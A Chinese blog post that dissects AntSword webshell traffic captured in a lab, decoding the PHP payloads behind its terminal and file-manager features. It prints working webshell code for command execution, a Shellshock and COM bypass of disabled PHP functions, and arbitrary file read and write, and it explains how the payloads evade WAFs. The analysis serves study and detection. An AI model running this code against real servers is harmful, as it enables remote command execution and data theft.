蚁剑流量分析

分析一下蚁剑的流量特点

AntSword

虚拟终端 / 命令执行

在打开蚁剑的虚拟终端时,会执行 cd [path] 指令,

image-20210623124844673

发出的包如下

1
2
3
4
5
6
7
8
9
POST /1.php HTTP/1.1
Host: 192.168.1.106:80
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)
Content-Type: application/x-www-form-urlencoded
Content-Length: 4099
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22f0b3%22.%22b67c6%22%3Becho%20%40asenc(%24output)%3Becho%20%22c91%22.%22583%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22v1f656c7c99039%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22x44aab141531de%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22u6af8538cd4c2e%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&u6af8538cd4c2e=AN&v1f656c7c99039=gvL2Jpbi9zaA%3D%3D&x44aab141531de=T4Y2QgIi92YXIvd3d3L2h0bWwiO2NkIC92YXIvd3d3L2h0bWwvO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D

返回包:

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Date: Wed, 23 Jun 2021 05:30:13 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 37
Connection: close
Content-Type: text/html; charset=UTF-8

f0b3b67c6[S]
/var/www/html
[E]
c91583

cmd 的值进行 url 解码之后写入 phpstorm 中,可得到执行的 php 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
return $out;
}

;
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "f0b3" . "b67c6";
echo @asenc($output);
echo "c91" . "583";
}

ob_start();
try {
$p = base64_decode(substr($_POST["v1f656c7c99039"], 2));
$s = base64_decode(substr($_POST["x44aab141531de"], 2));
$envstr = @base64_decode(substr($_POST["u6af8538cd4c2e"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}

;
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}

;
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while ([email protected]($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while ([email protected]($io[1])) {
print(@fgets($io[1], 2048));
}
while ([email protected]($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}

;
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

初步分析

首先关闭了报错信息,并将脚本执行之间设置为无限制,避免因为各种原因导致脚本运行超时而返回错误,而后开启缓冲区

1
2
3
4
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
ob_start();

try 语句内的是重头戏。

  1. 解密参数,参数由一串随机字符串组成(上文中为v1f656c7c99039x44aab141531deu6af8538cd4c2e

    1
    2
    3
    $p = base64_decode(substr($_POST["v1f656c7c99039"], 2));
    $s = base64_decode(substr($_POST["x44aab141531de"], 2));
    $envstr = @base64_decode(substr($_POST["u6af8538cd4c2e"], 2));

    根据请求包,解密出这些参数

    • $envstr: (空)

    • $p: /bin/sh

    • $s: cd "/var/www/html";cd /var/www/html/;echo [S];pwd;echo [E]

      $p 为执行命令用到的解释器(在 Windows 中为 cmd, 在 Linux 中为 /bin/sh

      $s 为需要执行的命令

  2. 判断操作系统(Windows / Linux),并以此加入环境变量。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
    @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
    @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
    $envarr = explode("|||asline|||", $envstr);
    foreach ($envarr as $v) {
    if (!empty($v)) {
    @putenv(str_replace("|||askey|||", "=", $v));
    }
    }
    }

    这里判断操作系统使用的方法是判断路径的第一个字符是否为 /

    此处的 $envstr 为空,所以进入不到 if 中,暂时不做分析

  3. 拼接解释器与命令,并执行命令

    1
    2
    3
    4
    $r = "{$p} {$c}";
    // $r = /bin/sh -c cd "/var/www/html";cd /var/www/html/;echo [S];pwd;echo [E]
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
  4. 回显命令执行的结果

    1
    2
    asoutput();
    die();

下面着重分析一下runcmd 函数

在分析 runcmd 之前,先看一下 fe 函数

fe

fe 函数可以理解为 function_exists 函数的扩展,用于判断是否可以使用某个函数。

1
2
3
4
5
6
7
8
9
10
11
// function fe
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}

它先把 disabled_functions 转化成了数组,然后进行了三个判断:

  1. 函数是否存在 function_exists
  2. 函数是否可调用 is_callable
  3. 函数是否在禁用列表中 in_array($f, $d)

综合以上三点返回函数是否可用

runcmd

runcmd 函数会以此判断各种执行系统命令函数,寻找能用的函数,也会尝试绕过禁用函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while ([email protected]($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while ([email protected]($io[1])) {
print(@fgets($io[1], 2048));
}
while ([email protected]($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}

依次判断了

  • system
  • passthru
  • shell_exec
  • exec
  • popen
  • proc_open
  • antsystem (猜测是蚁剑自己实现的函数)

如果这些函数都被禁用,则会使用 runshellshock 函数或 COM

可以说是面面俱到了

runshellshock

什么是 shellshock

参考文章: https://zhuanlan.zhihu.com/p/35579956

简单的理解就是一种利用 unix 漏洞 bypass disabled_functions 的方法

如何使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}

从代码中可以看出用到三个函数

  • putenv
  • error_log
  • mail

其中 error_log 与 mail 函数只是起到执行 bash 的效果

COM

详见:https://www.php.net/manual/zh/faq.com.php

而 WScript.shell 这个对象在 asp shell 中常用,不做扩展

命令执行

此后的命令执行都是在上面的基础上做

执行 ls 命令时,编码后的指令如下

cd "/var/www/html";ls;echo [S];pwd;echo [E],可以看到每一次都会切换目录(命令执行时的 cd,在下一次就会失效),而后执行命令。

返回结果如下:

image-20210623140254835

对此有不解——我理解的 [S] == Start, [E] == End 那命令执行的结果为什么不在这之中而在外面呢?或许需要分析源码才能明白(所以蚁剑的 loader 什么时候开源)

文件管理

目录

蚁剑在访问目录时使用的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
$D = base64_decode(substr($_POST["o930dff714d3c9"], 2));
$F = @opendir($D);
if ($F == NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M .= $N . "/" . $R; else $L .= $N . $R;
}
echo $M . $L;
@closedir($F);
};
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};

简单的遍历目录下的所有文件/文件夹,并回显

image-20210623140641090

文件

创建文件/写文件

1
2
3
4
5
try {
echo @fwrite(fopen(base64_decode(substr($_POST["o930dff714d3c9"], 2)), "w"), base64_decode(substr($_POST["o18205bef6e997"], 2))) ? "1" : "0";;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};

默认写入的数据为 #Halo AntSword!

打开文件/读取文件

1
2
3
4
5
6
7
8
try {
$F = base64_decode(substr($_POST["o930dff714d3c9"], 2));
$P = @fopen($F, "r");
echo(@fread($P, filesize($F) ? filesize($F) : 4096));
@fclose($P);;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};

总结

蚁剑会将 PHP 代码传入密码参数(上面为 cmd) 中,并且将需要用到的参数以随机字符串的变量名、base64 加密,并在前面加入两个字节的垃圾数据传入,由此来绕过一些 waf(在base64 这一层解码不出来)

但是为什么 PHP 代码明文传输仍然存在一定的疑惑